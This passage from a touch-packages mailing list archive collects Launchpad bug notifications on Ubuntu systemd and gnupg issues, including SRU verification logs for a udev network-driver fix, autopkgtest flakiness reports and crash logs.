  dhcp-v*-$interface.conf" files do not exist, or when the content
  changes.

  This is very loosely related to
  https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1805183

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1878955/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1908067] Re: systemd-fsckd test fails on groovy checking plymouth-start isactive

[Dan Streetman]

autopkgtest passes on groovy:
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-groovy/groovy/amd64/s/systemd/20210112_092742_83d2c@/log.gz


** Tags removed: verification-needed verification-needed-groovy
** Tags added: verification-done verification-done-groovy

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1908067

Title:
  systemd-fsckd test fails on groovy checking plymouth-start isactive

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Groovy:
  Fix Committed

Bug description:
  [impact]

  systemd-fsckd test fails on groovy because plymouth-start service is
  active

  [test case]

  check autopkgtest logs of systemd-fsckd test case on groovy

  [regression potential]

  incorrectly passed, or failed, systemd-fsckd test

  [scope]

  this is needed only for groovy.

  the plymouth-start.service did not include RemainAfterExit=true before 
groovy, so the service is expected to be inactive when checked by the test 
before groovy. this is already fixed in hirsute:
  
https://git.launchpad.net/~ubuntu-core-dev/ubuntu/+source/systemd/commit/?id=c46eda821e97df5595a4cdc5f5c41a9b49a51745

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1908067/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1902960] Re: Upgrade from 245.4-4ubuntu3.3 to 245.4-4ubuntu3.2 appears to break DNS resolution in some cases

[Dan Streetman]

focal:

root@lp1902960-f:~# dpkg -l systemd|grep systemd
ii  systemd245.4-4ubuntu3.3 amd64system and service manager
root@lp1902960-f:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
E: ID_NET_DRIVER=virtio_net
root@lp1902960-f:~# rm /run/udev/data/n2 
root@lp1902960-f:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
root@lp1902960-f:~# udevadm trigger -c change /sys/class/net/ens3
root@lp1902960-f:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
root@lp1902960-f:~# udevadm trigger -c add /sys/class/net/ens3
root@lp1902960-f:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
E: ID_NET_DRIVER=virtio_net


root@lp1902960-f:~# dpkg -l systemd|grep systemd
ii  systemd245.4-4ubuntu3.4 amd64system and service manager
root@lp1902960-f:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
E: ID_NET_DRIVER=virtio_net
root@lp1902960-f:~# rm /run/udev/data/n2 
root@lp1902960-f:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
root@lp1902960-f:~# udevadm trigger -c change /sys/class/net/ens3
root@lp1902960-f:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
E: ID_NET_DRIVER=virtio_net


** Tags removed: verification-needed verification-needed-focal 
verification-needed-groovy
** Tags added: verification-done verification-done-focal 
verification-done-groovy

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1902960

Title:
  Upgrade from 245.4-4ubuntu3.3 to 245.4-4ubuntu3.2 appears to break DNS
  resolution in some cases

Status in cloud-images:
  New
Status in systemd:
  New
Status in cloud-init package in Ubuntu:
  Incomplete
Status in systemd package in Ubuntu:
  Fix Released
Status in cloud-init source package in Focal:
  Incomplete
Status in systemd source package in Focal:
  Fix Committed
Status in cloud-init source package in Groovy:
  Incomplete
Status in systemd source package in Groovy:
  Fix Committed

Bug description:
  [impact]

  on boot of a specific azure instance, the ID_NET_DRIVER parameter of
  the instance's eth0 interface is not set. That leads to a failure of
  systemd-networkd to take control of the interface after a restart of
  systemd-networkd, which results in DNS failures (at first) and
  eventually complete loss of networking (once the DHCP lease expires).

  [test case]

  this occurs on first boot of an instance using the specific image; it
  is not reproducable using the latest ubuntu image nor any reboot of
  the affected image, and it has not been reproducable (for me) when
  using debug-enabled images based on the affected image.

  So, while the problem is reproducable using the specific image in
  question, it's not possible to verify the fix since any change to the
  image removes reproducability.

  however, while the problem itself can't be reproduced and then
  verified, if the assumption is correct (that the 'add' uevent is being
  missed on boot), that is possible to test and verify:

  $ udevadm info /sys/class/net/eth0 | grep ID_NET_DRIVER
  E: ID_NET_DRIVER=hv_netvsc
  $ sudo rm /run/udev/data/n2 

  (note, change 'n2' to whichever network interface index is correct)

  $ udevadm info /sys/class/net/eth0 | grep ID_NET_DRIVER
  $ sudo udevadm trigger -c change /sys/class/net/eth0
  $ udevadm info /sys/class/net/eth0 | grep ID_NET_DRIVER

  (note the 'change' uevent did not populate ID_NET_DRIVER property)

  $ sudo udevadm trigger -c add /sys/class/net/eth0
  $ udevadm info /sys/class/net/eth0 | grep ID_NET_DRIVER
  E: ID_NET_DRIVER=hv_netvsc

  (note the 'add' uevent did populate ID_NET_DRIVER)

  the test verification should result in ID_NET_DRIVER being populated
  for a 'change' uevent.

  [regression potential]

  any regression would likely involve problems with systemd-udevd
  processing 'change' events from network devices, and/or incorrect
  udevd device properties.

  [scope]

  this is needed only for focal and groovy.

  this is fixed by upstream commit e0e789c1e97 which is first included
  in v247, so this is fixed already in hirsute.

  while this commit is not included in bionic, due to the difficult
  nature of reproducing (and verifying) this, and the fact it has only
  been seen once on a focal image, I don't think it's appropriate to SRU
  to bionic at this point; possibly it may be appropriate if this is
  ever reproduced with a bionic image.

  [other info]

  note that this bug's subject and description, as well as the upstream
  systemd bug subject and description, talk about the problem being DNS
  resolution. However that is strictly a side-effect of the real problem
  and is not the actual issue.

  [original description]

  The systemd upgrade 245.4-4ubuntu3.3 to 245.4-4ubuntu3.2 appears to
  have broken DNS resolution across much of our Azure fleet earlier
  today.  We ended up mitigating this by forcing reboots on the
  associated instances, no 

[Touch-packages] [Bug 1902960] Re: Upgrade from 245.4-4ubuntu3.3 to 245.4-4ubuntu3.2 appears to break DNS resolution in some cases

[Dan Streetman]

groovy:

root@lp1902960-g:~# dpkg -l systemd|grep systemd
ii  systemd246.6-1ubuntu1 amd64system and service manager
root@lp1902960-g:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
E: ID_NET_DRIVER=virtio_net
root@lp1902960-g:~# rm /run/udev/data/n2
root@lp1902960-g:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
root@lp1902960-g:~# udevadm trigger -c change /sys/class/net/ens3
root@lp1902960-g:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
root@lp1902960-g:~# udevadm trigger -c add /sys/class/net/ens3
root@lp1902960-g:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
E: ID_NET_DRIVER=virtio_net


root@lp1902960-g:~# dpkg -l systemd|grep systemd
ii  systemd246.6-1ubuntu1.1 amd64system and service manager
root@lp1902960-g:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
E: ID_NET_DRIVER=virtio_net
root@lp1902960-g:~# rm /run/udev/data/n2
root@lp1902960-g:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
root@lp1902960-g:~# udevadm trigger -c change /sys/class/net/ens3
root@lp1902960-g:~# udevadm info /sys/class/net/ens3 | grep ID_NET_DRIVER
E: ID_NET_DRIVER=virtio_net

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1902960

Title:
  Upgrade from 245.4-4ubuntu3.3 to 245.4-4ubuntu3.2 appears to break DNS
  resolution in some cases

Status in cloud-images:
  New
Status in systemd:
  New
Status in cloud-init package in Ubuntu:
  Incomplete
Status in systemd package in Ubuntu:
  Fix Released
Status in cloud-init source package in Focal:
  Incomplete
Status in systemd source package in Focal:
  Fix Committed
Status in cloud-init source package in Groovy:
  Incomplete
Status in systemd source package in Groovy:
  Fix Committed

Bug description:
  [impact]

  on boot of a specific azure instance, the ID_NET_DRIVER parameter of
  the instance's eth0 interface is not set. That leads to a failure of
  systemd-networkd to take control of the interface after a restart of
  systemd-networkd, which results in DNS failures (at first) and
  eventually complete loss of networking (once the DHCP lease expires).

  [test case]

  this occurs on first boot of an instance using the specific image; it
  is not reproducable using the latest ubuntu image nor any reboot of
  the affected image, and it has not been reproducable (for me) when
  using debug-enabled images based on the affected image.

  So, while the problem is reproducable using the specific image in
  question, it's not possible to verify the fix since any change to the
  image removes reproducability.

  however, while the problem itself can't be reproduced and then
  verified, if the assumption is correct (that the 'add' uevent is being
  missed on boot), that is possible to test and verify:

  $ udevadm info /sys/class/net/eth0 | grep ID_NET_DRIVER
  E: ID_NET_DRIVER=hv_netvsc
  $ sudo rm /run/udev/data/n2 

  (note, change 'n2' to whichever network interface index is correct)

  $ udevadm info /sys/class/net/eth0 | grep ID_NET_DRIVER
  $ sudo udevadm trigger -c change /sys/class/net/eth0
  $ udevadm info /sys/class/net/eth0 | grep ID_NET_DRIVER

  (note the 'change' uevent did not populate ID_NET_DRIVER property)

  $ sudo udevadm trigger -c add /sys/class/net/eth0
  $ udevadm info /sys/class/net/eth0 | grep ID_NET_DRIVER
  E: ID_NET_DRIVER=hv_netvsc

  (note the 'add' uevent did populate ID_NET_DRIVER)

  the test verification should result in ID_NET_DRIVER being populated
  for a 'change' uevent.

  [regression potential]

  any regression would likely involve problems with systemd-udevd
  processing 'change' events from network devices, and/or incorrect
  udevd device properties.

  [scope]

  this is needed only for focal and groovy.

  this is fixed by upstream commit e0e789c1e97 which is first included
  in v247, so this is fixed already in hirsute.

  while this commit is not included in bionic, due to the difficult
  nature of reproducing (and verifying) this, and the fact it has only
  been seen once on a focal image, I don't think it's appropriate to SRU
  to bionic at this point; possibly it may be appropriate if this is
  ever reproduced with a bionic image.

  [other info]

  note that this bug's subject and description, as well as the upstream
  systemd bug subject and description, talk about the problem being DNS
  resolution. However that is strictly a side-effect of the real problem
  and is not the actual issue.

  [original description]

  The systemd upgrade 245.4-4ubuntu3.3 to 245.4-4ubuntu3.2 appears to
  have broken DNS resolution across much of our Azure fleet earlier
  today.  We ended up mitigating this by forcing reboots on the
  associated instances, no combination of networkctl reload,
  reconfigure, systemctl daemon-reexec, systemctl daemon-reload, netplan
  generate, netplan apply would get resolvectl to have a DNS server
  

[Touch-packages] [Bug 1881947] Re: Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52, function main(). Aborting.

[Dan Streetman]

autopkgtests pass for b/f/g

** Tags removed: verification-needed verification-needed-bionic 
verification-needed-focal verification-needed-groovy
** Tags added: verification-done verification-done-bionic 
verification-done-focal verification-done-groovy

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1881947

Title:
  Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52,
  function main(). Aborting.

Status in systemd:
  New
Status in systemd package in Ubuntu:
  In Progress
Status in systemd source package in Bionic:
  Fix Committed
Status in systemd source package in Focal:
  Fix Committed
Status in systemd source package in Groovy:
  Fix Committed
Status in systemd source package in Hirsute:
  In Progress

Bug description:
  [Impact]

   * Autopkgtest fails due to corrupted journal file

  [Test Case]

   * Observe autopkgtest root-unittests not failing with:

  Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52,
  function main(). Aborting.

  [Where problems could occur]

   * The change has no impact on the systemd binary packages. The
  relaxed test could hide a journal corruption problem, but it seems the
  corrupted journal files occur only on arm64 probably due to arm64
  reboots being resets: LP: #1748280.

  [Original Bug Text]

  Observed in an focal/arm64 autopkgtest failure of systemd 245.4-4ubuntu3.1:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/arm64/s/systemd/20200603_071743_738b2@/log.gz

  [...]
  PASS: test-journal-enum
  == test-journal-flush ===
  Root directory /var/log/journal removed.
  Directory /var/log/journal/3286b2469d224077b1026d239d625b0d removed.
  mmap cache statistics: 739 hit, 5 miss
  journal_file_copy_entry failed: Bad message
  Assertion 'r >= 0' failed at src/journal/test-journal-flush.c:52, function 
main(). Aborting.
  FAIL: test-journal-flush (code: 134)
  Aborted (core dumped)
  == test-journal-importer ===
  [...]
  autopkgtest [07:17:29]:  summary
  timedatedPASS
  hostnamedPASS
  localed-locale   PASS
  localed-x11-keymap   PASS
  logind   PASS
  unit-config  PASS
  storage  PASS
  networkd-test.py PASS
  build-login  PASS
  boot-and-servicesPASS
  udev PASS
  root-unittests   FAIL non-zero exit status 134
  upstream PASS
  boot-smoke   PASS
  systemd-fsckdPASS
  Exit request sent.
  [...]

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1881947/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1892358] Re: autopkgtest success rate dropped inhibiting proposed migration

[Dan Streetman]

autopkgtests pass for b/f/g

** Tags removed: verification-needed verification-needed-groovy
** Tags added: verification-done verification-done-groovy

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1892358

Title:
  autopkgtest success rate dropped inhibiting proposed migration

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Fix Released
Status in systemd source package in Focal:
  Fix Released
Status in systemd source package in Groovy:
  Fix Committed

Bug description:
  [impact]

  autopkgtests are failing/flaky and prevent other packages from
  migrating to -updates

  [test case]

  check autopkgtest history

  [regression potential]

  in regard to the changed test cases, any regression would likely
  result in either an incorrectly passed test, or an incorrectly failed
  test.

  [scope]

  for systemd, this is needed for x, b, and f.

  tests in g appear to be mostly stable, but I've opened MR (linked from
  this bug) to update the tests there as well.

  i don't plan to update x, as it's reaching ESM in ~6 months, and
  backporting the test fixes is more work than just a simple code copy,
  since there are additional differences/changes needed in the older
  version of systemd (and python3). the failing/flaky tests in x have
  been like that forever, and people have just retried them; we can keep
  retrying them until x moves into ESM next year.

  [original description]

  Hi,
  we had such cases in the past like bug 1817721 for bionic and maybe bug 
1892130 is about the same as well. There were more but I didn't want to search 
for all of them - what I checked is that there are no open ones clearly 
pointing out the recent further drop in already flaky subtests.

  In particular the tests "tests-in-lxd" and "systemd-fsckd" were known
  to be flaky before, but got even worse.

  Here stats of the last 40 runs, it might be a coincidences that this
  is after 246-2ubuntu1 landed. Could as well be any other change

  groovy
    amd64
  tests-in-lxd   (F 42% S  0% B 10% => P 45%/) 
BFFFBFF.B.F.F...FBF
  build-login(F  0% S  0% B 10% => P 87%/) 
B...B...BB.
  unit-config(F  0% S  0% B 10% => P 87%/) 
B...B...BB.
  networkd-testpy(F  0% S  0% B 10% => P 87%/) 
B...B...BB.
  boot-and-services  (F  0% S  0% B 10% => P 87%/) 
B...B...BB.
  boot-smoke (F  0% S  0% B 10% => P 87%/) 
B...B...BB.
  logind (F  0% S  0% B 10% => P 87%/) 
B...B...BB.
  storage(F  0% S  0% B 10% => P 87%/) 
B...B...BB.
  upstream   (F 35% S  0% B 10% => P 52%/) 
..FFB.FFF.FFBFF.B.F.F..FFBF
  udev   (F  0% S  0% B 10% => P 87%/) 
B...B...BB.
  systemd-fsckd  (F 37% S  0% B 10% => P 50%/) 
BFFFB.FF...FB.F..B.
  root-unittests (F  0% S  0% B 10% => P 87%/) 
B...B...BB.
    ppc64el
  tests-in-lxd   (F 25% S  0% B  0% => P 75%/) 
FFFFF.F.
  systemd-fsckd  (F 35% S  0% B  0% => P 65%/) 
FFF...FFFFF.F..F
  root-unittests (F  2% S  0% B  0% => P 97%/) 
..F.
    s390x
  tests-in-lxd   (F 52% S  0% B  0% => P 47%/) 
FFF.FFF.FF....F.
  timedated  (F  2% S  0% B  0% => P 97%/) 
...F
  upstream   (F 17% S  0% B  0% => P 82%/) 
.F..F.F.FFF...F.
  systemd-fsckd  (F 32% S  0% B  0% => P 67%/) 
FFF..FF..F.FF..F
  root-unittests (F 10% S  0% B  0% => P 90%/) 
FFF...F.
    arm64
  tests-in-lxd   (F 40% S  0% B  2% => P 57%/) 
F.B...FFF.FF..F..F.FFF.F
  logind (F  2% S  0% B  2% => P 95%/) 
..B...F.
  upstream   (F 22% S  0% B  2% => P 75%/) 
...F.FB.F.F.F..FFF.F
  root-unittests (F 12% S  0% B  2% => P 85%/) 
..B.F...F.FF...F

  (I'm sure LP will make this unreadable, but is is nice in monospace)

  Whatever the root cause is - the success rate of these has reduced so
  much that the (even formerly questionable) practice of retry-until-
  success won't work anymore.

  I have run the two tests in a local VM and systemd-fsckd 

[Touch-packages] [Bug 1825186] Re: gpgv-win32 autopkgtest always fails

[Dan Streetman]

** Changed in: gnupg2 (Ubuntu Cosmic)
   Status: New => Won't Fix

** Changed in: gnupg (Ubuntu Xenial)
   Status: New => Won't Fix

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gnupg in Ubuntu.
https://bugs.launchpad.net/bugs/1825186

Title:
  gpgv-win32 autopkgtest always fails

Status in gnupg package in Ubuntu:
  Invalid
Status in gnupg2 package in Ubuntu:
  Opinion
Status in gnupg source package in Xenial:
  Won't Fix
Status in gnupg2 source package in Bionic:
  New
Status in gnupg2 source package in Cosmic:
  Won't Fix
Status in gnupg2 source package in Disco:
  Fix Released

Bug description:
  [impact]

  gpgv-win32 autopkgtest always fails

  [test case]

  check http://autopkgtest.ubuntu.com/packages/g/gnupg2

  or run autopkgtest manually

  note the gpgv-win32 test is skipped on ppc64el and s390x for b/c, and
  has been removed from d/t/control entirely in d

  [regression potential]

  little to none; this affects the test case only

  [other info]

  as mentioned, in disco, the gpgv-win32 test has been removed from the
  tests/control completely.  not sure if that is a better approach than
  fixing the test case.  For now, I marked this Fix Released for disco
  since it doesn't fail there (since the testcase was removed).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnupg/+bug/1825186/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1906331] Re: systemd-resolve crashes fairly often (and reports various assertions)

[Dan Streetman]

can anyone attach a coredump from a crashed systemd-resolved?

** Changed in: systemd (Ubuntu)
   Status: Confirmed => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1906331

Title:
  systemd-resolve crashes fairly often (and reports various assertions)

Status in systemd package in Ubuntu:
  Incomplete

Bug description:
  (Tested on regularly updated Ubuntu 20.04, currently i use systemd
  245.4-4ubuntu3.2)

  I observe fairly lot of segfaults of systemd-resolve. Frequency vary
  but … see below.

  I have no clue what is the reason. Specific feature of my machine is
  that apart from normal cable connection (to OpenWRT router) I use
  OpenVPN for business network (and this submits specific nameserver for
  myorg.local domain).

  ~
  $ LC_ALL=C dmesg -T --level=info | grep systemd-resolve
  [Sun Nov 29 11:47:37 2020] systemd-resolve[1629307]: segfault at 190eed7bdc6 
ip 7fd98f771dc9 sp 7ffc2352a100 error 4 in 
libsystemd-shared-245.so[7fd98f74c000+16e000]
  [Sun Nov 29 11:57:27 2020] systemd-resolve[1629787]: segfault at 1f ip 
55ab7b0cb686 sp 7fff78ce4bd0 error 4 in 
systemd-resolved[55ab7b0a4000+3e000]
  [Sun Nov 29 12:07:37 2020] systemd-resolve[1630481]: segfault at 191 ip 
55ca69fed91c sp 7ffc4d757dc0 error 6 in 
systemd-resolved[55ca69fc2000+3e000]
  [Sun Nov 29 13:12:26 2020] systemd-resolve[1638829]: segfault at 19224162371 
ip 7fc1bc9b9dc9 sp 7ffc21378170 error 4 in 
libsystemd-shared-245.so[7fc1bc994000+16e000]
  [Sun Nov 29 13:32:57 2020] systemd-resolve[1639886]: segfault at 1926d8126d3 
ip 7f7ed17e9dc9 sp 7ffda2cea0b0 error 4 in 
libsystemd-shared-245.so[7f7ed17c4000+16e000]
  [Sun Nov 29 13:42:37 2020] systemd-resolve[1640246]: segfault at 61 ip 
558d992e2686 sp 7fff08906af0 error 4 in 
systemd-resolved[558d992bb000+3e000]
  [Sun Nov 29 15:42:26 2020] systemd-resolve[1645397]: segfault at 1943c92afc7 
ip 7fd4c1721dc9 sp 7fff25259ce0 error 4 in 
libsystemd-shared-245.so[7fd4c16fc000+16e000]
  [Sun Nov 29 16:02:36 2020] systemd-resolve[1646052]: segfault at 1947ecb3726 
ip 7f1008549dc9 sp 7fff44a6db70 error 4 in 
libsystemd-shared-245.so[7f1008524000+16e000]
  [Sun Nov 29 17:42:35 2020] systemd-resolve[1649403]: segfault at 71 ip 
55a37fe5a686 sp 7ffd9a160440 error 4 in 
systemd-resolved[55a37fe33000+3e000]
  [Sun Nov 29 17:52:35 2020] systemd-resolve[1649759]: segfault at 558d292947d0 
ip 558d292947d0 sp 7ffec7ab3bf8 error 15
  [Sun Nov 29 19:17:55 2020] systemd-resolve[1652349]: segfault at 558995b77cf0 
ip 558995b77cf0 sp 7ffe545ae4a8 error 15
  [Sun Nov 29 19:32:35 2020] systemd-resolve[1652640]: segfault at 19773c20194 
ip 7f66bb529dc9 sp 7fffd7066fc0 error 4 in 
libsystemd-shared-245.so[7f66bb504000+16e000]
  [Sun Nov 29 20:03:54 2020] systemd-resolve[1653715]: segfault at 197e3aee918 
ip 7fdc40b51dc9 sp 7ffde484fbf0 error 4 in 
libsystemd-shared-245.so[7fdc40b2c000+16e000]
  [Sun Nov 29 20:22:24 2020] systemd-resolve[1654540]: segfault at 19820a05297 
ip 7f6a92839dc9 sp 7ffe4ba00440 error 4 in 
libsystemd-shared-245.so[7f6a92814000+16e000]
  [Sun Nov 29 21:13:10 2020] systemd-resolve[1660272]: segfault at 555f9a5915e0 
ip 555f9a5915e0 sp 7fff053e5e68 error 15
  [Sun Nov 29 21:32:34 2020] systemd-resolve[1661026]: segfault at 1991af73f2e 
ip 7ff194021dc9 sp 7fffa6d61680 error 4 in 
libsystemd-shared-245.so[7ff193ffc000+16e000]
  [Sun Nov 29 22:03:20 2020] systemd-resolve[1661941]: segfault at 5625966828e0 
ip 5625966828e0 sp 7ffdf5a8bb48 error 15
  [Sun Nov 29 22:32:44 2020] systemd-resolve[1662604]: segfault at 199f18ae01d 
ip 7f457c9d1dc9 sp 7ffc62b80ef0 error 4 in 
libsystemd-shared-245.so[7f457c9ac000+16e000]
  [Sun Nov 29 23:12:23 2020] systemd-resolve[1664072]: segfault at 73b8 ip 
562619f8c93a sp 7ffd527b7ef0 error 6 in 
systemd-resolved[562619f61000+3e000]
  [Sun Nov 29 23:22:34 2020] systemd-resolve[1664423]: segfault at 19aaa4d4c00 
ip 7f2621539dc9 sp 7ffc73102280 error 4 in 
libsystemd-shared-245.so[7f2621514000+16e000]
  [Mon Nov 30 00:12:23 2020] systemd-resolve[1666158]: segfault at 19b5c72000a 
ip 7f530b5c1dc9 sp 7ffc6007ccf0 error 4 in 
libsystemd-shared-245.so[7f530b59c000+16e000]
  [Mon Nov 30 00:47:54 2020] systemd-resolve[1667280]: segfault at 10036 ip 
7f0736b8bbe8 sp 7fffed4d3cb0 error 4 in 
libsystemd-shared-245.so[7f0736acc000+16e000]
  [Mon Nov 30 01:57:53 2020] systemd-resolve[1669463]: segfault at 558d6b61c0c0 
ip 558d6b61c0c0 sp 7ffc68df7198 error 15
  [Mon Nov 30 02:58:08 2020] traps: systemd-resolve[1672553] general protection 
fault ip:55b967d86760 sp:7fffaecf4468 error:0 in 
systemd-resolved[55b967d5f000+3e000]
  [Mon Nov 30 03:38:08 2020] systemd-resolve[1673682]: segfault at 19e3c4d5050 
ip 7fdf0ba29dc9 sp 7ffe4d561430 

[Touch-packages] [Bug 1905166] Re: systemd-shutdown cannot detach DM

[Dan Streetman]

> Have the same problem, here is the log:

that log doesn't show the reported problematic log messages

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1905166

Title:
  systemd-shutdown cannot detach DM

Status in systemd package in Ubuntu:
  Incomplete

Bug description:
  when powering down the system systemd cannot unmount /

  systemd-shutdown[1]: Could not detach DM /dev/dm-0: Device or resource busy
  systemd-shutdown[1]: Failed to finalize  DM devices, ignoring
  reboot: Power down

  as a result at each startup the filesystem is checked:

  Press Ctrl+C to cancel all filesystem checks in progress

  If systemd cannot unmount / that might not be a problem but it should
  be less noisy and not result in a filesystem check after each reboot.

  ProblemType: Bug
  DistroRelease: Ubuntu 20.04
  Package: systemd 245.4-4ubuntu3.3
  ProcVersionSignature: Ubuntu 5.4.0-54.60-generic 5.4.65
  Uname: Linux 5.4.0-54-generic x86_64
  ApportVersion: 2.20.11-0ubuntu27.12
  Architecture: amd64
  CasperMD5CheckResult: skip
  CurrentDesktop: ubuntu:GNOME
  Date: Sun Nov 22 11:40:05 2020
  MachineType: Dell Inc. Latitude 7410
  ProcEnviron:
   PATH=(custom, no user)
   XDG_RUNTIME_DIR=
   LANG=de_DE.UTF-8
   SHELL=/bin/bash
  ProcKernelCmdLine: BOOT_IMAGE=/vmlinuz-5.4.0-54-generic 
root=/dev/mapper/vgubuntu-root ro quiet splash vt.handoff=7
  SourcePackage: systemd
  SystemdDelta:
   [EXTENDED]   /usr/lib/systemd/system/rc-local.service → 
/usr/lib/systemd/system/rc-local.service.d/debian.conf
   [EXTENDED]   /usr/lib/systemd/system/user@.service → 
/usr/lib/systemd/system/user@.service.d/timeout.conf
   
   2 overridden configuration files found.
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 10/11/2020
  dmi.bios.vendor: Dell Inc.
  dmi.bios.version: 1.4.1
  dmi.board.name: 0M5G57
  dmi.board.vendor: Dell Inc.
  dmi.board.version: A00
  dmi.chassis.type: 31
  dmi.chassis.vendor: Dell Inc.
  dmi.modalias: 
dmi:bvnDellInc.:bvr1.4.1:bd10/11/2020:svnDellInc.:pnLatitude7410:pvr:rvnDellInc.:rn0M5G57:rvrA00:cvnDellInc.:ct31:cvr:
  dmi.product.family: Latitude
  dmi.product.name: Latitude 7410
  dmi.product.sku: 09CD
  dmi.sys.vendor: Dell Inc.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1905166/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1742804] Re: Failed to add PIDs to scope's control group

[Dan Streetman]

> I get it too, but on a fresh Kubuntu 20.10!

I just tested on groovy and see no failure.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1742804

Title:
  Failed to add PIDs to scope's control group

Status in systemd:
  Fix Released
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  Confirmed

Bug description:
  [impact]

  systemd-run --user --scope fails

  [test case]

  $ systemd-run --user --scope echo hello
  Job for run-r150c7437bf8a4c5e919acbbc3de0b29c.scope failed.
  See "systemctl status run-r150c7437bf8a4c5e919acbbc3de0b29c.scope" and 
"journalctl -xe" for details.

  [regression potential]

  large.  this is fixed upstream by a large sequence of patches, and
  would need careful attention applying them all to make sure no
  regressions were introduced.

  If I, or anyone else, attempts this backport, they definitely need to
  add more detail to this section.

  [scope]

  This is fixed upstream by this large PR:
  https://github.com/systemd/systemd/pull/8125

  That's included starting in systemd v238, so just missed the Bionic
  version.  This is fixed already in all releases after Bionic, and
  needed only for Bionic.

  [original description]

  
  When I launch applications with flatpak, "journalctl -f" shows the following:

  Jan 11 22:44:13 localhost systemd[1244]: flatpak-org.kde.krita-8134.scope: 
Failed to add PIDs to scope's control group: Permission denied
  Jan 11 22:44:13 localhost systemd[1244]: Failed to start 
flatpak-org.kde.krita-8134.scope.
  Jan 11 22:44:13 localhost systemd[1244]: flatpak-org.kde.krita-8134.scope: 
Unit entered failed state.

  I explicitly mentioned "Kubuntu" in the summary, because I experience
  this only under Kubuntu (17.10 and 18.04), NOT under the regular
  Gnome-based Ubuntu Desktop (17.10). At first this error message seemed
  harmless, because it looked like it had no effect. But now I noticed
  that with certain flatpak apps, the file open dialog would not pop up.
  And I too experienced this only under Kubuntu, not Ubuntu or Fedora
  (all tested). So there might be a connection.

  I first reported this to flatpak:

  https://github.com/flatpak/flatpak/issues/1216

  There it was suggested to try the following command:

  $ systemd-run --user --scope echo hello
  Job for run-r150c7437bf8a4c5e919acbbc3de0b29c.scope failed.
  See "systemctl status run-r150c7437bf8a4c5e919acbbc3de0b29c.scope" and 
"journalctl -xe" for details.

  ...and this one also fails.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1742804/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1902960] Re: Upgrade from 245.4-4ubuntu3.3 to 245.4-4ubuntu3.2 appears to break DNS resolution in some cases

